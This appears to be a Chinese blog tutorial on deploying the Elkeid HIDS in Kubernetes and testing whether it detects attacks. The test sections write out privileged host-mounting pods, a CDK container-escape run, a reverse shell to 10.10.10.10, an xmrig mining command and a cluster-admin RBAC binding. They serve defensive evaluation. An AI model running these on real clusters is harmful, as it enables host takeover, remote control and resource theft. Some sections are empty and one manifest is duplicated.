开源 Hids Elkeid 笔记二：容器 K8s 安全部署与检测

# 1. 获取 K8s API Server 地址
kubectl config view -o jsonpath='{.clusters[0].cluster.server}'
# 示例输出：https://192.168.20.165:6443

# 2. 确认 CA 证书路径（kubeadm 部署固定路径）
ls /etc/kubernetes/pki/ca.crt

./create-kubeconfig-for-elkeid-cwpp.sh \
  k8s-20.165 \
  local \
  https://192.168.20.165:6443 \
  /etc/kubernetes/pki/ca.crt

apiVersion: v1
clusters:
- cluster:
    certificate-authority-data: LS0tLS1CRUdJTiBDR***************

***************
users:
- name: elkeid-cwpp-console
  user:
    client-certificate-data: LS0RLcUdFbk09Ci0tLS0tR******0tLS0K

mkdir -p /etc/kubernetes/elkeid-audit
cd /etc/kubernetes/elkeid-audit

下载以下两个文件，准备放入该目录：

• audit-policy.yaml：审计策略规则
• audit.kubeconfig：Webhook 连接配置

② 修改 audit.kubeconfig

⚠️ 关键坑点：默认证书颁发给 127.0.0.1，需要手动修改。

apiVersion: v1
kind: Config
clusters:
  - name: elkeid-audit-webhook-server
    cluster:
      server: https://192.168.20.223:6754/rawdata/audit
      insecure-skip-tls-verify: true
# 删除 certificate-authority-data 段

⚠️ 格式警告：insecure-skip-tls-verify: true 前严禁使用 Tab，必须用空格缩进，否则 kube-apiserver 无法启动。

③ 参照“插件安装指引”，修改 kube-apiserver 配置

编辑 /etc/kubernetes/manifests/kube-apiserver.yaml，添加以下内容：

在 command 部分添加：

    - --audit-policy-file=/etc/kubernetes/audit/audit-policy.yaml
    - --audit-webhook-config-file=/etc/kubernetes/audit/audit.kubeconfig

    - mountPath: /etc/kubernetes/audit/
      name: elkeid-audit
      readOnly: true

  - hostPath:
      path: /etc/kubernetes/elkeid-audit
      type: Directory
    name: elkeid-audit

# 触发 static pod 重启
mv /etc/kubernetes/manifests/kube-apiserver.yaml /tmp/
mv /tmp/kube-apiserver.yaml /etc/kubernetes/manifests/
systemctl restart kubelet  #备用

# 验证审计参数是否加载，如没加载到需查看日志
ps -ef | grep kube-apiserver | grep -v grep | tr ' ' '\n' | grep audit
journalctl -u kubelet -f --since "5 minutes ago" | grep -i apiserver

1.4 验证安全组件状态

确认安全组件状态为已 正常运行。

二、入侵检测能力测试

以下测试在 K8s 集群中模拟各类攻击行为，验证 Elkeid 的检测效果。

# 创建文件
cat > hostpath-etc.yaml << 'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: hostpath-etc-pod
spec:
  containers:
  - name: alpine
    image: alpine
    command: ["sleep", "3600"]
    volumeMounts:
    - name: host-etc
      mountPath: /host/etc
      readOnly: false
  volumes:
  - name: host-etc
    hostPath:
      path: /etc
      type: Directory
EOF

# 应用文件
kubectl apply -f hostpath-etc.yaml
kubectl delete -f hostpath-etc.yaml
kubectl exec -it hostpath-etc-pod -- ls -la /etc/passwd

# 创建文件
cat > hostnetwork-pod.yaml << 'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: hostnetwork-pod
spec:
  hostNetwork: true
  hostPID: true
  containers:
  - name: alpine
    image: alpine
    command: ["sleep", "3600"]
EOF

# 应用文件
kubectl apply -f hostnetwork-pod.yaml
kubectl exec -it hostnetwork-pod -- ps aux   # 查看宿主机进程
kubectl exec -it hostnetwork-pod -- ip addr  # 查看宿主机网络

# 创建文件
cat > privileged.yaml << 'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: privileged-pod
spec:
  containers:
  - name: alpine
    image: alpine
    securityContext:
      privileged: true
    command: ["sleep", "3600"]
EOF

# 应用文件
kubectl apply -f privileged.yaml

# 创建文件
cat > runasroot-pod.yaml << 'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: privileged-pod
spec:
  containers:
  - name: alpine
    image: alpine
    securityContext:
      privileged: true
    command: ["sleep", "3600"]
EOF

# 应用文件
kubectl apply -f runasroot-pod.yaml

# 1. 先创建一个测试 Secret
kubectl create secret generic test-db-password --from-literal=mysql_root_password=Admin@123456 -n default

# 2. 执行访问操作（触发审计）
kubectl get secret test-db-password -n default -o yaml
kubectl describe secret test-db-password -n default

kubectl get secret test-db-password -o yaml
kubectl describe secret test-db-password

# 创建文件
cat > untrusted-image.yaml << 'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: untrusted-image-pod
spec:
  containers:
  - name: nginx
    image: nginx:latest
    command: ["sleep", "3600"]
EOF

# 应用文件
kubectl apply -f untrusted-image.yaml

kubectl create clusterrolebinding test-admin-binding --clusterrole=cluster-admin --user=test-user

预期告警：rbac_privilege_escalation / RBAC 提权（紧急）
测试结果：✅ 成功触发 — 高风险/后门驻留

三、高级攻击场景测试

3.1 容器逃逸（CDK 工具）

测试目的：验证容器逃逸行为是否能被检测。

# 创建特权Pod配置
cat > cdk-attack-pod.yaml << 'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: cdk-attack-pod
spec:
  hostNetwork: true
  hostPID: true
  hostIPC: true
  containers:
  - name: ubuntu
    image: ubuntu:22.04
    securityContext:
      privileged: true
      capabilities:
        add: ["ALL"]
    command: ["sleep", "3600"]
    volumeMounts:
    - name: host-root
      mountPath: /host
      readOnly: false
    - name: docker-sock
      mountPath: /var/run/docker.sock
    - name: kubelet
      mountPath: /var/lib/kubelet
  volumes:
  - name: host-root
    hostPath:
      path: /
  - name: docker-sock
    hostPath:
      path: /var/run/docker.sock
  - name: kubelet
    hostPath:
      path: /var/lib/kubelet
EOF

# 应用配置
kubectl apply -f cdk-attack-pod.yaml

# 宿主机下载 CDK 工具
wget https://github.com/cdk-team/CDK/releases/download/v1.5.6/cdk_linux_amd64
kubectl cp cdk_linux_amd64 cdk-attack-pod:/cdk

# 在已运行的Pod内执行
kubectl exec -it cdk-attack-pod -- bash
chmod +x cdk && ./cdk run mount-disk

kubectl exec -it nginx-test-566dbd78d4-4x8kw -- bash
bash -i >& /dev/tcp/10.10.10.10/6666 0>&1

3.3 挖矿行为模拟

测试目的：验证挖矿程序特征是否能被检测。

模拟方式：进程名或参数包含矿池域名（pool.*.com）、CPU异常。

# 模拟挖矿程序
./xmrig --donate-level 1 -o pool.supportxmr.com:3333
# 或仅模拟CPU占用
dd if=/dev/zero of=/dev/null &

四、测试结果汇总

五、总结对比与简评

5.1 容器安全能力总结

根据实测，Elkeid 社区版对 K8s 的安全检测能力非常有限，仅能覆盖少量基础配置风险。

　　结论：实测结果与官方文档“K8S 基础入侵检测：少量样例”的描述完全一致——确实只有“少量”，仅特权容器和 RBAC 越权两项能被检测出来。

5.2 适用场景建议

✅ 适合的场景：

• 对容器集群进行极其基础的安全配置检查（检测是否有人创建了特权容器或进行了危险赋权）
• 作为概念验证（POC），快速了解此类产品的工作原理

❌ 不适合的场景：

• 需要一个有效的容器运行时安全防护方案
• 需要检测容器逃逸、反弹Shell、挖矿等真实入侵行为
• 需要对镜像、Secret访问、不当配置进行全面检测

5.3 踩坑总结

5.4 一句话总结

　　Elkeid 社区版在容器安全领域仅能检测“特权容器”和“RBAC越权”两项基础配置风险，对容器逃逸、反弹Shell、挖矿等运行时攻击完全无法检测。配置 K8s 审计日志接入时坑点较多，需仔细处理证书和 YAML 格式。

　　如果期望获得有效的容器运行时安全防护，社区版目前的能力可能无法满足需求。

六、参考资料

• Elkeid GitHub Issues #657 —— 证书问题讨论
• Elkeid 官方文档
• CDK 容器逃逸工具